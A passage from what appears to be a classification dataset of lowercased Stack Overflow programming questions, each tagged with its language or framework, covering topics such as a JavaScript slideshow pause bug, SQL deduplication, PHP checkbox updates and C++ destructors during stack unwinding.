           this.autocycle(this.el  this.opts.speed  this.opts.pauseonhover);
         }
         if (this.opts.pause) {
           this.addpause(this.el);
         }
       } 
       showcurrent: function(i) {
         // increment or decrement this.counter depending on whether i === 1 or i === -1
         if (i &gt; 0) {
           this.counter = (this.counter + 1 === this.numitems)   0 : this.counter + 1;
         } else {
           this.counter = (this.counter - 1 &lt; 0)   this.numitems - 1 : this.counter - 1;
         }
         // remove .show from whichever element currently has it 
         // http://stackoverflow.com/a/16053538/2006057
         [].foreach.call(this.$items  function(el) {
           el.classlist.remove( current );
         });
         // add .show to the one item that s supposed to have it
         this.$items[this.counter].classlist.add( current );
       } 
       pausecycle: function(el  speed) {
         var that = this;
         interval = clearinterval(interval);
         el.classlist.add( paused );
       } 
       unpausecycle: function(el  speed) {
         var that = this;
         interval = window.setinterval(function() {
           that.showcurrent(1); // increment &amp; show
         }  speed);
         el.classlist.remove( paused );
       } 
       addpause: function(el  speed) {
         var spanpause = document.createelement( span ) 
           docfrag2 = document.createdocumentfragment() 
           that = this 
           thatspeed = speed;
         spanpause.classlist.add( pause );
         spanpause.innerhtml =  pause ;
         docfrag2.appendchild(spanpause);
         el.appendchild(docfrag2);
         togglepause = function(el  speed) {
           if (that.paused == 1) {
             var speed = that.opts.speed;
             that.unpausecycle(el  speed);
             that.paused = 0;
             return that.paused;
           } else if (that.paused == 0) {
             var speed = that.opts.speed;
             interval = clearinterval(interval);
             that.pausecycle(el  speed);
             that.paused = 1;
             return that.paused;
           }
         }
         el.queryselector( .pause ).addeventlistener( click   function() {
           togglepause(el  speed);
         }  false);
       } 
       autocycle: function(el  speed  pauseonhover) {
         var that = this;
         if (that.paused == 0) {
           that.unpausecycle(el  speed);
         }
         if (pauseonhover) {
           el.addeventlistener( mouseover   function() {
             if (that.paused == 0) {
               that.pausecycle(el  speed);
             }
           }  false);
           el.addeventlistener( mouseout   function() {
             if (that.paused == 0) {
               that.unpausecycle(el  speed);
             }
           }  false);
         } // end pauseonhover
       } // end autocycle
     }; // end slideshow object .....
   // make instances of slideshow as needed
   [].foreach.call($slideshows  function(el) {
     $slideshow = object.create(slideshow);
     $slideshow.init(el  options);
   });
 };
 
 /* init for this example snippet */
 
 var afs56c641d29d032 = {
   auto: true 
   speed: 2000 
   pause: true 
 };
 afslides( .afs56c641d29d032   afs56c641d29d032);</code></pre>
 <pre class= snippet-code-css lang-css prettyprint-override ><code>body {
   font: 400 10px/1.3 menlo  courier  sans-serif;
 }
 figure {
   display: none;
 }
 figure.current {
   display: block;
 }
 figure pre {
   font: 700 24px/1.3 menlo  courier  sans-serif;
   white-space: pre;
 }
 span {
   background: #f66;
   color: #fff;
   font: 700 16px/1.3 menlo  courier  sans-serif;
   padding: 10px 20px;
   display: inline-block;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div id= smile-gallery  class= afs56c641d29d032  &gt;
   &lt;div class= slides &gt;
     &lt;figure class= slide  id= bna-1 &gt;
       &lt;div class= slide-content &gt;
         &lt;pre&gt;
  ________________________
 |                        |
 |                        |
 |         0    0         |
 |                        |
 |       \________/       |
 |                        |
 |________________________|
 &lt;/pre&gt;
       &lt;/div&gt;
     &lt;/figure&gt;
     &lt;figure class= slide  id= bna-2 &gt;
       &lt;div class= slide-content &gt;
         &lt;pre&gt;
  ________________________
 |                        |
 |                        |
 |    o              o    |
 |                        |
 |                        |
 |         ______/        |
 |________________________|
 &lt;/pre&gt;
       &lt;/div&gt;
     &lt;/figure&gt;
     &lt;figure class= slide  id= bna-3 &gt;
       &lt;div class= slide-content &gt;
         &lt;pre&gt;
  ________________________
 |                        |
 |                        |
 |       ^       ^        |
 |                        |
 |                        |
 |        (eeeee)         |
 |________________________|
 &lt;/pre&gt;
       &lt;/div&gt;
     &lt;/figure&gt;
     &lt;figure class= slide  id= bna-4 &gt;
       &lt;div class= slide-content &gt;
         &lt;pre&gt;
  ________________________
 |                        |
 |                        |
 |       |       |        |
 |     ____________       |
 |     \          /       |
 |      \________/        |
 |________________________|
 &lt;/pre&gt;
       &lt;/div&gt;
     &lt;/figure&gt;
   &lt;/div&gt;
   &lt;!-- /.slides  --&gt;
 &lt;/div&gt;
 &lt;!-- /#smile-gallery --&gt;
 &lt;p&gt;
   taken from &lt;a href= https://github.com/leemark/better-simple-slideshow  target= _blank &gt;a better simple slideshow&lt;/a&gt;.
 &lt;/p&gt;</code></pre>
 </div>
 </div>
     as you run this script  if you play with the pause control  some weird stuff happens. first it pauses and disables the pauseonhover condition  like it should. then you click it again  it unpauses and starts advancing two slides at a time. the pauseonhover works again  but only pauses one of the slide advancements on hover  so the slideshow is still advancing one slide at a time. click it pause again and it stops advancing by two times  but it continues advancing at one slide at a time (when it should now be paused). click is again and it begins advancing three frames at time (two if you re hovering over it again) and so on. something just keeps getting added on every time and i can t figure out what it is. please help.    thanks!    <strong>update 22 feb 2016</strong>    <a href= https://jsfiddle.net/joerhoney/wksuwyk3/14/  rel= nofollow >here s a jsfiddle</a> i ve been working on for this project. getting both pause and pauseonhover to work at the same time has been a nightmare.",javascript
how to open ms office word in asp.net   in my application  when user click on particular link button  ms word has to open how can i write the code for this. thank you,asp.net
concatenate variable iboutlet inside a loop   i have 13 textfield  and i need to modify their values ​​according to the parameters received from an array inside a loop:   <pre><code>iboutlet uitextfield *c1_1; .... iboutlet uitextfield *c1_13;  int xis; int xis2; for(xis=0;xis&lt;14;xis++){ xis2++; [nsstring stringwithformat:@ c1_%d.text  xis2] = lstainfo[xis]; } </code></pre>   but the command is not working  i wish you could explain to me the possible solutions to this problem,objective-c
setting object random position on x-axis  i am creating an app that would display an object randomly on the x-axis  but somehow my app crashes on start.     it works when i use <strong>displaymetrics</strong>  but it gets the width of the entire screen. i would want to get the width of a <strong>layout</strong>. but the app crashes on start when i try to retrieve the layout width and set a random position    i have a feeling that the <strong>timer</strong> starts before it can retrieve the <strong>layout width</strong>. that s why it crashes    this is code:    <pre><code>  @override protected void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.activity_main);      frame = (relativelayout) findviewbyid(r.id.frame);      screenwidth = frame.getwidth();      r = new random();      timer.schedule(new timertask() {         @override         public void run() {             handler.post(new runnable() {                 @override                 public void run() {                     godown();                 }             });         }     }  0  20);  //functions for it to go down public void godown() {     //layout width     framewidth = screenwidth;         //displaying random x position     newxposition = r.nextint(framewidth);      //skulls functions     skully += skullspeed;     if(skully &gt; frameheight)     {         skully = -100.0f;         skullx = newxposition - skull.getwidth();     }      skull.setx(skullx);     skull.sety(skully);    } </code></pre>   and this is my logcat:   <pre><code>e/androidruntime: fatal exception: main               process: com.example.gin.myapplication  pid: 8786               java.lang.illegalargumentexception: n &lt;= 0: 0                   at java.util.random.nextint(random.java:182)                   at com.example.gin.myapplication.mainactivity.godown(mainactivity.java:91)                   at com.example.gin.myapplication.mainactivity$1$1.run(mainactivity.java:74) </code></pre>   thanks in advance for any help! :d,android
how an image can be transmitted in  chatty  app  i am a newbie in iphone app programming and currently i use  chatty  app to communicate with other iphones. i wonder how i can modify  chatty  in order to send images from one iphone to another when using chatty app. i appreciate your help.,iphone
sql query tune up  how can i optimize the below query    <pre><code>delete from #data  where id not in (select min(id)                  from #data                   group by serialnumber  vendorname) </code></pre>   it takes like up to 2 minutes to execute.    here is the table structure:   <pre><code>create table #data (     id                 int identity (1  1)      itemsupplierkey    int          not null         serialnumber       varchar(100) not null      vendorname         varchar(50)  not null ); </code></pre>   it contains 257316 records.    here are indexes on this temp table:   <pre><code>create clustered index px_data on #data (serialnumber  vendorname); create index ix_data on #data (id); </code></pre>,sql
how to use an array index as an operator   how to use an array index as an operator     such that:   <pre><code>#include&lt;stdio.h&gt;  main() {     char sign[]={ +   - };     int a  b;     a = 12 sign[1] 10;     printf( %d  a); } </code></pre>   actually this code doesn t work. what will be the right code for this type of programs,c
jquery script not working on touch enabled devices  do i need to target a different trigger for touch enabled devices       i want to pass an id variable in the url and have the tab on page jump to that tab. it is not working on touch-enabled devices.    here is the code.   <pre><code>$(function() {     // if hash is set     if(window.location.hash) {         var $tabs = $( #tabs )          // find tab nav item with matching id         $target = $tabs.find( .tab-nav li +window.location.hash);          // if target exists trigger the set event         if($target.length) {             $tabs.trigger( gumby.set   $target.index());         }     } }); </code></pre>,jquery
naming a  core  assembly  i know that this is somewhat subjective  but i wonder if there is a generally accepted standard for naming assemblies which contain some  core  functions.    let s say you got a larger projects  with assemblies like   <ul> <li>company.product.webcontrols.dll</li> <li>company.product.net.dll</li> <li>company.product.userpages.dll</li> </ul>   and you have a bunch of  core  classes  like the global error handler  the global logging functionality etc.    how would such an assembly generally named  here are some things i had in mind:   <ul> <li>company.product.dll</li> <li>company.product.core.dll</li> <li>company.product.global.dll</li> <li>company.product.administration.dll</li> </ul>   now  while  just pick one and go on  will not cause armageddon  i d still like to know if there is an  accepted  way to name those assemblies.,.net
bootstrap table filter using hide/show   i m using to filter the records of a table the show/hide option with jquery.   <pre><code>$( tbody tr[data-ediction!=  +ed+  ] ).hide(); $( tbody tr[data-ediction=  +ed+  ] ).show();  </code></pre>   in the <code>&lt;tr&gt;</code> i add the data-edition and it value.    could you help me please,jquery
place div in right lower corner  consider the following html:   <pre><code>&lt;div class= wrapper &gt;     &lt;div class= a &gt;&lt;/div&gt;     &lt;div class= b &gt;&lt;/div&gt;     &lt;div class= c &gt;&lt;/div&gt; &lt;/div&gt; </code></pre>   with this css:   <pre><code>.wrapper {     width: 800px;     height: 300px;     background-color: red; } .a {     width: 400px;     height: 120px;     background-color: green; } .b {     width: 100px;     height: 150px;     background-color: blue; } .c {     width: 100px;     height: 150px;     background-color: lightblue; } </code></pre>   i now need to place a in the left upper corner and b on top of c on the right side.    my first solution was to do this:   <pre><code>.a{ float: left; } .b{ float:right; } .c{ float:right; } </code></pre>   the problem is now that c is left of b  but needs to be below it... is there any solution for the problem  even when a has a different height,css
angular $q.all returns null for all promises resolved  <a href= http://plnkr.co/edit/3cnoiywzujrtcy7xseu4 p=preview  rel= nofollow noreferrer >in this plunk</a> i have a <code>$q.all</code> function that resolves two promises. still  the function returns null when i am resolving with a value in both cases. what s wrong with this code    <pre><code>var app = angular.module( app   []);  app.controller( myctl   function($scope $q) {              var promises = [];              promises.push(function(){                 var defer = $q.defer();                 var val1 =  aaa ;                 defer.resolve(val1);                 return defer.promise;             });              promises.push(function(){                 var defer = $q.defer();                 var val2 =  bbb ;                 defer.resolve(val2);                 return defer.promise;             });               $q.all(promises).then(function(responses) {                $scope.responses = responses;           }); }); </code></pre>,angularjs
c++ why am i getting an error with this derived class  for my tic tac toe game i have a base class player and two derived classes humanplayer and aiplayer. when i first made the classes i wrote the humanplayer class all in one .h file. now  since i have separated the implementation and header files  i m getting an error in dev c++:  expected class-name before  {  token .    i can t seem to find the problem.    here is the humanplayer class and the base class player. maybe someone can spot the problem. player.h   <pre><code>#pragma once // include guard #include  board.h   class player {     public:         virtual void makeamove(board &amp;myboard) = 0; // will accept pointer to board object as param }; </code></pre>   humanplayer.h   <pre><code>#pragma once // include guard #include  board.h   class humanplayer: public player {     public:         humanplayer(char token);         virtual void makeamove(board &amp;myboard);       private:         char token;         int askforrow();             int askforcolumn(); }; </code></pre>   humanplayer.cpp   <pre><code>#include  humanplayer.h  #include &lt;cstdlib&gt; // atoi  humanplayer::humanplayer(char token) {     this-&gt;token = token; }  void humanplayer::makeamove(board &amp;myboard)  {     bool done = false;     do      {         int row = askforrow();          int column = askforcolumn();          if (myboard.getcell(row  column) ==    )         {              myboard.setcell(row  column  token);             done = true;         }         else             std::cout &lt;&lt;  this cell is already occupied. try a different cell  &lt;&lt; std::endl;     }     while (!done); }  int humanplayer::askforrow() {     while(true)     {         std::cout &lt;&lt;  enter a row (0  1  2) for player   &lt;&lt; token &lt;&lt;  :  ;         std::string row_s;          std::getline(std::cin  row_s);         if (row_s ==  0  || row_s ==  1  || row_s ==  2 )         {             return atoi(row_s.c_str());         }         else         {             std::cout &lt;&lt;  \ninvalid input\n ;         }     } }  int humanplayer::askforcolumn() {     while(true)     {         std::cout &lt;&lt;  enter a column (0  1  2) for player   &lt;&lt; token &lt;&lt;  :  ;         std::string column_s;          std::getline(std::cin  column_s);         if (column_s ==  0  || column_s ==  1  || column_s ==  2 )         {             return atoi(column_s.c_str());         }         else         {             std::cout &lt;&lt;  \ninvalid input\n ;         }     } } </code></pre>,c++
error starting executable  no provisioned ios device is connected  why am i seeing this error   is it looking for my real iphone device to be connected to install it on their     i just downloaded the views sample code from: <a href= http://www.sunsetlakesoftware.com/sites/default/files/fall2010coursenotes/views%20and%20controllers.html  rel= nofollow >http://www.sunsetlakesoftware.com/sites/default/files/fall2010coursenotes/views%20and%20controllers.html</a>,iphone
c# asp issue with excel connection  i have a c# asp application and it connects with excel  but when i run the application i receive this error:    system.invalidoperationexception:  the  microsoft.ace.oledb.12.0  provider is not registered on the local machine.     i was suggested to install this driver : accessdatabaseengine_x64.exe    i  installed the driver but still i receive the same message and the application breaks.    appreciate any help.    thanks,c#
jquery syntax help  i m looking for some help explaining exactly what this line of code does in jquery;   <pre><code>mystring += $(settings.myselector this).css( display ) ===  none     closed  :  not-closed ; </code></pre>   i m unfamiliar with the syntax and some of the operators used.,jquery
why is the bitwise complement of 10 is -11  why the result of ~10 is -11  shouldn t it be 5 as the ~ operations flips every bit.    10 = 1010     ~10= 0101 //5 in decimal   <pre><code>#include&lt;stdio.h&gt;  int main() {      unsigned int b =10;     b= ~b;     printf( bitwise %d\n   b);          return 0; } </code></pre>,c
python hangman module returns unexpected results  i m a newbie writing hangman and have hit a bug in one of my modules. my intent in this module  is to check the user input and verify it is a single character that is a letter and not a number. the error checking works in that it won t exit the module until a single letter ( or special  haven t figured a way around that yet) is entered but the return value is always the first user input entered not the last and correct entry. any suggestions would be appreciated.   <pre><code>def get_guess():     guess = str(raw_input( please enter your guess letter:  ))     if len(guess) == 1:         try:             float(guess)             is_int = true         except valueerror:             is_int = false         if is_int:             print  you have entered a number not a letter.              get_guess()     else:         print  please enter a single letter.          get_guess()      return guess </code></pre>,python
getting no method error in customers#index while trying to access attribute of order model  how to access customer s name from customer table onto my order s action view index. and vice versa.     i am getting this error:    nomethoderror in customers#index. <br> undefined method `order  for #customer:0x24f4...   <pre><code>class customer &lt; activerecord::base     has_many :orders  foreign_key:  customer_id  end   class order &lt; activerecord::base     belongs_to :customer end </code></pre>   in my migration:   <pre><code>   create_table  customers   force: :cascade do |t|     t.string    name      t.datetime  created_at   null: false     t.datetime  updated_at   null: false   end    create_table  orders   force: :cascade do |t|     t.integer   customer_id      t.datetime  orderdate      t.datetime  created_at    null: false     t.datetime  updated_at    null: false   end    add_index  orders   [ customer_id ]  name:      index_orders_on_customer_id   using: :btree  end </code></pre>   in customer s index.html.erb   <pre><code>&lt;% @customers.each do |customer| %&gt;       &lt;%= customer.name %&gt;       &lt;%= customer.order.orderdate %&gt; &lt;% end %&gt; </code></pre>   in orders s index.html.erb   <pre><code>&lt;% @orders.each do |order| %&gt;    &lt;%= order.orderdate %&gt;       &lt;%= order.customer.name %&gt; &lt;% end %&gt; </code></pre>,ruby-on-rails
every response data size from server to client in asp.net  how can i know about the size of data being transfered between server to client in asp.net even for ajax postbacks...,asp.net
my css and html are not working to put my code on the same line  i have created two div tags. one containing /hello/ the other containing /world/. my issue is i want both of these to be on the same line so i put in the code display: inline  but that did not work. i also want /hello/ to have a background color of yellow. so i have tried giving them classes but that did not work either. please simple answers because i am only 12,html
background location updates forever ios 8/9  i m developing a tracking application for ios 8/9. my application runs in background for about 15 min and then stops. i want to make it run for ever. please suggest me some code sample or demo in swift language.    thanks,ios
how to correctly wrap this code in iife or use a different method  i want to restrict this code from the other  because i do not want to use a global variable  <code>var targetelement;</code> it should only be visible in the iife area. i tried to do this  but when i click on <code>checkbox</code>  an error pops up  and this is logical  but i do not know how to do it correctly to make it work.    how does my code work    <hr>      activate <code>checkbox</code>  => access to editing is allowed. select the cell => the text falls into <code>input</code>. change the text  press <code>apply</code> => the text is changed.   <hr>  <pre><code>    &lt;table id= tablecinema  style= border-collapse: collapse;  border= 1  &gt;         &lt;tr&gt;             &lt;th &gt;type&lt;/th&gt;             &lt;th &gt;name&lt;/th&gt;             &lt;th &gt;time&lt;/th&gt;         &lt;/tr&gt;                            &lt;tr&gt;             &lt;td &gt;1&lt;/td&gt;&lt;td &gt;*&lt;/td&gt;&lt;td &gt;*&lt;/td&gt;         &lt;/tr&gt;                                &lt;/table&gt;      change: &lt;input id= changes  type= checkbox  name=       onclick= eventsintable() &gt;&lt;br&gt;      get text for change: &lt;input id= changetext  type= text  name=   value=  &gt;      &lt;button id= applytochanges &gt;apply&lt;/button&gt; </code></pre>  <hr>  <pre><code>var targetelement;  var inputchangetext = document.getelementbyid( changetext ); var applychanges = document.getelementbyid( applytochanges );  applychanges.addeventlistener( click   function() {   if (targetelement) {     targetelement.textcontent = inputchangetext.value;   } }  false);  //change text var changetext = function(e) {   inputchangetext.value = e.target.textcontent;   targetelement = e.target; }  //allow to change function eventsintable() {     var checkboxchanges = document.getelementbyid( changes );     var table = document.getelementbyid( tablecinema );      if (checkboxchanges.checked) {         table.addeventlistener( click   changetext  false);     } else {         table.removeeventlistener( click   changetext  false);         alert( you haven t access to change );     } }    </code></pre>,javascript
how to convert a char array that contains 0 or 1 s into a decimal in c   i have a string x that i need to convert into a hex format:   <pre><code>char x[5]; x[0]= 0 ; x[1]= 1 ; x[2]= 0 ; x[3]= 1 ;  //x contains value of 0xa or decimal 10; x[4]= \0 ; </code></pre>   now how can i convert this and store it into an unsigned integer variable so the variable would be of value 0xa;    thanks.,c
can  t open .svg images  i m generating qr codes with pyqrcode and i want to display them in a window. i tried:   <pre><code>from pil import image  img = image.open( qrcode.svg ) img.show() </code></pre>   but it s not working.,python
reading a string from a .plist file error <pre><code>data = [nsdictionary dictionarywithcontentsoffile:             [[nsbundle mainbundle] pathforresource:@ info  oftype:@ plist ]];     name = [[data objectforkey:@ name ]stringvalue]; </code></pre>   i am getting a sigabrt error on when i try to give create <code>name</code>. all the names are alright. what could be wrong     i have a <code>info.plist</code> file in my project. it has a row of type string. the value is <code>test</code>.,objective-c
dynamic post key in jquery data <pre><code>var type = $(this).attr( data-type ); var typeid = $(this).attr( data-value );  if(type== category ) var typevar= cat ; else if(type== subcategory ) var typevar= subcat ;  $.ajax({     url:  admin-catalog/next       type:  post       datatype:  json       data: {typevar: typeid  limit: 9}      success: newgalleryproducts }); </code></pre>   the key  typevar  in my  data  key needs to be dynamic  i.e. it should not post  typevar  as the key  it should post either  cat  or  subcat .    anybody know how to do this,jquery
how to deal with missing column in mysql   i m writing a function in ruby to pull data from multiple tables and then inserting those values into a  master  table. the problem is that not all the tables have the same schema. specifically  some of the tables have  column x  while others are missing it. how can i use the same query to select data from both tables  yet deal with the fact that the column may or may not be present  i tried the following case  but it does not seem to work:   <pre><code>select case          when column_x is not null then sum(column_x)          else null     end case </code></pre>,mysql
move single mkcircle among multiple circles on map in objective c  i have to move or resize one mkcircle among multiple circles on map. i am able to do if i have only single circle on map. i am getting circle radius and its latitude  longitude through web services. is there any id property of circle or how can i create multiple objects of circle  for single circle  i am writing below code:   <pre><code> if(circle != nil)         {             [_mapview removeoverlay: circle];             circle = nil;         }     if (circle == nil) {          circle=[mkcircle circlewithcentercoordinate:coord radius:radius];         [self.mapview addoverlay:circle];     } </code></pre>   please help me what should i do code if i have more than one circle,objective-c
java - check if input is a positive integer  negative integer  natural number and so on.  is there any in-built method in java where you can find the user input s type whether it is positive  or negative and so on  the code below doesn t work. i am trying to find a way to input any in-built method that can do it at the if statement.    <pre><code>import java.util.scanner;  public class compare {      public static void main(string[] args) {           scanner input = new scanner(system.in);          system.out.print( enter a number:  );         int number = input.nextint();          if(number == int)              system.out.println( number is natural and positive. );     } } </code></pre>,java
how to start a command with subprocess with output in some file  unblocked   i am trying to use <code>subprocess</code> to start a command on the command-line for which i want to have the output written into some file. so  in other words  i want to have e.g. the following command executed within python:   <pre><code>python my_code.py --arg1 &gt; output.txt </code></pre>   i tried the following:   <pre><code>import subprocess cwd =  /home/path/to/the/executable  cmd =  python my_code.py --arg1  with open( output.txt    w ) as outfile:     subprocess.popen(cmd.split()  stdout=outfile  cwd = cwd) </code></pre>   but the output file stayed empty. how to else do it (not blocking!)     addition:     my guess is that the output file is created  but is being closed as soon as the above code finishes. therefore  no output to that file...,python
pull-to-refresh and search bar  i m wondering what solution is the best for the pull down action: pull-to-refresh vs. pull-to-search  what if i want to have both (search bar and refresh) like in the mail app  don t know what the approval in the app store does look like ...    how would you implement that with a <code>uitableviewcontroller</code>,ios
crc calculation with different buffers  i m calculating a simple xor crc for a data transmission. the function is:   <pre><code>static char calc_crc(unsigned char *data  unsigned len) {     char crc = 0;     for ( int i = 0 ; i &lt; len; i++ )         crc = crc ^ data[i];     return crc; } </code></pre>   my problem is:    how can i call this function with data from two seperate buffers     e.g.   <pre><code>unsigned char buf1[...] = { 0x1  0x3  0x43  0x1  0x0  0x40 } unsigned char buf2[...] = { 0x1  0x8  0x44  57  0x00 } </code></pre>   i want to call my crc function <strong>once</strong>  and the calculation must be the content from buf1 and buf2 combined together.    thx!     edit: as user michael walz wrote  the combined buffer would be   <pre><code>unsigned char bufcombined[...] = { 0x1  0x3  0x43  0x1  0x0  0x40  0x1  0x8  0x44  57  0x00 } </code></pre>   and from this buffer i would like to do the xor calculation.,c
how to find whether speakerphone is on or not in android  i need to find whether speaker phone is on or not through programmability.    i know that we can find using below method whether it is on or not.   <pre><code>audiomanager.isspeakerphoneon(); </code></pre>   in my case even it is returning false  even though the speaker is on by some how.    i need to know below 2 things.    1.is there any broadcast action to find speaker state.    2.is there any way to find speaker phone state change,android
is there a generic swap method in the framework   does a method like this exist anywhere in the framework    <pre><code>public static void swap&lt;t&gt;(ref t left  ref t right) {     t temp;     temp = left;     left = right;     right = temp; } </code></pre>   if not  any reason why,.net
how far should you break up stylesheets   i m building a new site for my company  and i m at the stage where i ve created the html mockup of the first page. i m going to use this as a basis for the rest of the site. i m thinking of organising my stylesheet better now i ve got the design looking consistent cross-browser  but i m wondering how far to go when i m breaking it up.    one idea is to have the following:   <ul> <li>reset.css</li> <li>typography.css</li> <li>layout.css</li> <li>colors.css</li> </ul>   but where do i draw the line  theoretically i could go on and break them down into classes  ids etc  but i think thats going overboard.    does this seem a reasonable method,css
adding web control dynamically leaves sqldatasource to be null  i have a web control (ascx).  this control has some database connections which perform selects based on a member variable (e.g.  shows details based on a certain database id).    what works:  i can add the web control to a page in the designer  set the member variable representing the id in the page_load variable.    what does not: i am trying to add the web control (several  actually) to a panel during the page_load.  when i do this  the sqldatasource s on the web control are null.    this is how i am trying to add the web controls.   <pre><code>foreach (datarow dr in dv.table.rows) {     label header = new label();     header.text =  blah blah blah ;     panel1.controls.add(header);     detailscontrol widgetdetails = new detailscontrol();     widgetdetails.widgetid = (int64)dr[1];     panel1.controls.add(widgetdetails); } </code></pre>   this is the error i get  which is coming from the <code>detailscontrol</code>.   <pre><code>object reference not set to an instance of an object.  description: an unhandled exception occurred during the execution of the current web request. please review the stack trace for more information about the error and where it originated in the code.   exception details: system.nullreferenceexception: object reference not set to an instance of an object.  source error:    line 19:         protected void page_load(object sender  eventargs e) line 20:         { line 21:             dataview dv = (dataview)sqldatasourcefilter.select(datasourceselectarguments.empty); </code></pre>   edit: actually  it appears that <strong>all</strong> controls within the detailscontrol are null  but only hwen added dynamically.  i must need to call some function to trigger their initialization.,asp.net
angular directives vs services  i was just going through the code of a openlayers and angular directive <strong><a href= https://github.com/tombatossals/angular-openlayers-directive/tree/master/src  rel= nofollow >here</a></strong>. can anybody explain to me what is the most fundamental difference between services and directives       i understand directives better   my understanding is that directives able a programmer to add addition <code>ng</code> tags to the existing one and make html recognize stuff that just plain native html would t otherwise recognize. but what purpose does services serve       thank you.,angularjs
inserting all 0 s or all 1 s into database  i have the following code  which almost works:   <pre><code>&lt; php     if( $_server[ request_method ] ==  post  ) {         $fields = array(              col1   =&gt;  cb1                 col2   =&gt;  cb2                 col3   =&gt;  cb3                 col4   =&gt;  cb4                 col5   =&gt;  cb5                col6   =&gt;  cb6                 col7   =&gt;  cb7                 col8   =&gt;  cb8                 col9   =&gt;  cb9                 col10  =&gt;  cb10          );          $parts = array();          foreach( $fields as $dbfield =&gt; $field ) {             $parts[] =  `  . $dbfield .  ` = :  . $dbfield;         }          $dbh = new pdo(  mysql:host=localhost;dbname=database    user    pass  );         $dbh -&gt; setattribute( pdo::attr_errmode  pdo::errmode_exception );          $sth = $dbh -&gt; prepare(  update `table1` set   . join(       $parts ) .   where `id` = :id  );          // temp simulation value         $id = 1;          $sth -&gt; bindparam(  :id   $id  pdo::param_int  4 );          foreach( $fields as $dbfield =&gt; $field ) {              $value = isset( $_post[$field] )   1 : 0;             $sth -&gt; bindparam(  :  . $dbfield  $value  pdo::param_int  4 );          }          $sth -&gt; execute();          $dbh = null;     }  &gt;  &lt;html&gt;     &lt;head&gt;         &lt;title&gt;&lt;/title&gt;     &lt;/head&gt;      &lt;body&gt;         &lt;form method= post &gt;              &lt;input type= checkbox  name= cb1  /&gt;&lt;br /&gt;              &lt;input type= checkbox  name= cb2  /&gt;&lt;br /&gt;              &lt;input type= checkbox  name= cb3  /&gt;&lt;br /&gt;              &lt;input type= checkbox  name= cb4  /&gt;&lt;br /&gt;              &lt;input type= checkbox  name= cb5  /&gt;&lt;br /&gt;              &lt;input type= checkbox  name= cb6  /&gt;&lt;br /&gt;              &lt;input type= checkbox  name= cb7  /&gt;&lt;br /&gt;              &lt;input type= checkbox  name= cb8  /&gt;&lt;br /&gt;              &lt;input type= checkbox  name= cb9  /&gt;&lt;br /&gt;              &lt;input type= checkbox  name= cb10  /&gt;              &lt;input type= submit  value= save  /&gt;          &lt;/form&gt;     &lt;/body&gt; &lt;/html&gt; </code></pre>   it should be inserting 0 s or 1 s depending on the checkbox selected  but for some reason it inserts 0 s into all columns no matter which checkboxes are selected.  however  if the last checkbox is selected  it inserts a 1 into all columns.,php
mpeg-4 file behavior  in iphone i have a mpeg-4 video file  which when played &amp; when i click in the middle or any portion of the video  its goes back &amp; starts from beginning rather continuing from the place where i clicked.    whereas the same file plays when the same behavior is extorted(ie. play  click in the middle of the video) works fine in quicktime player/safari.    do someone have any thoughts on this,iphone
android with plus sign ( + ) in url  i cannot download the picture: <a href= http://www.wallpick.com/wp-content/uploads/2014/02/08/water+sports_wallpapers_242-640x480.jpg  rel= nofollow >http://www.wallpick.com/wp-content/uploads/2014/02/08/water+sports_wallpapers_242-640x480.jpg</a>    this is my code:     // from web   <pre><code>    try {         bitmap bitmap = null;          url imageurl = new url(url);         httpurlconnection conn = (httpurlconnection) imageurl                 .openconnection();         conn.setrequestproperty( content-type    application/x-www-form-urlencoded );         conn.setconnecttimeout(25000);         conn.setreadtimeout(25000);         conn.setinstancefollowredirects(true);         inputstream is = conn.getinputstream();         outputstream os = new fileoutputstream(f);         // save file to m_filecache         copystream(is  os);         os.close();         bitmap = decodefile(f);         return bitmap;     } catch (throwable ex) {         return null;     } </code></pre>   with this code  i can download all image urls as:    <a href= http://www.wallpick.com/wp-content/uploads/2014/02/08/pictures-of-lotus-flowers-on-water-640x480.jpg  rel= nofollow >http://www.wallpick.com/wp-content/uploads/2014/02/08/pictures-of-lotus-flowers-on-water-640x480.jpg</a>    root cause is plus sign ( + ) in first link. please help me! thank you very much!,android
how does stack unwinding work regarding destructor calls   let s suppose the following simple example:   <pre><code>#include &lt;iostream&gt;  struct foo {     ~foo() {         std::cout &lt;&lt;  ~foo()  &lt;&lt; std::endl;     } };  struct bar {     foo x;     bar() : x() {         throw -1;     }     ~bar() {         std::cout &lt;&lt;  ~bar()  &lt;&lt; std::endl;     } };  struct baz {     ~baz() {         std::cout &lt;&lt;  ~baz()  &lt;&lt; std::endl;     } };  int main() {     try {         baz y;         bar z;     } // destructor is called for everything fully constructed up to here      catch(...) {     } } </code></pre>   the output is   <pre><code>~foo() ~baz() </code></pre>   so obviously <code>bar</code> s destructor isn t called.    what does that mean for any kind of resource allocation which is intended to be released in <code>bar</code> s destructor     e.g.   <pre><code>struct bar {     costlyresource cr;     bar() {         cr.open(); // aquire resource          // something else throws ...         throw -1;     }     ~bar() {         if(cr.isopen()) {             cr.release(); // free resource         }     } }; </code></pre>   for sake of exception safe implementation what can i do to ensure that <code>bar</code> s resource member is properly released,c++
asp.net c#  access div element from nested listview code behind  i m trying to get the (div id= imggallery  runat= server ) element from nested listview to modify the class name programatically.   <pre><code>&lt;asp:listview id= listview1  runat= server  itemplaceholderid= itemplaceholder1  onitemdatabound= listview1_itemdatabound &gt; &lt;itemtemplate&gt;     &lt;asp:label id= versionid  runat= server  text= &lt;%# eval( versionid ) %&gt;  visible= false  /&gt;     &lt;asp:label id= menucontent  runat= server  text= &lt;%# eval( contenttext ) %&gt;  /&gt;     &lt;br /&gt;     &lt;asp:listview id= listview2  runat= server  itemplaceholderid= itemplaceholder2 &gt;         &lt;itemtemplate&gt;             &lt;div id= imggallery  class= images  runat= server &gt;                 &lt;asp:image id= image1  imageurl= &lt;%# eval( imageurl ) %&gt;  runat= server  tooltip= text  /&gt;             &lt;/div&gt;         &lt;/itemtemplate&gt;         &lt;layouttemplate&gt;             &lt;asp:placeholder runat= server  id= itemplaceholder2 &gt;&lt;/asp:placeholder&gt;         &lt;/layouttemplate&gt;     &lt;/asp:listview&gt; &lt;/itemtemplate&gt; &lt;layouttemplate&gt;     &lt;asp:placeholder runat= server  id= itemplaceholder1 &gt;&lt;/asp:placeholder&gt; &lt;/layouttemplate&gt; &lt;itemseparatortemplate&gt;     &lt;br /&gt;     &lt;hr /&gt;     &lt;br /&gt; 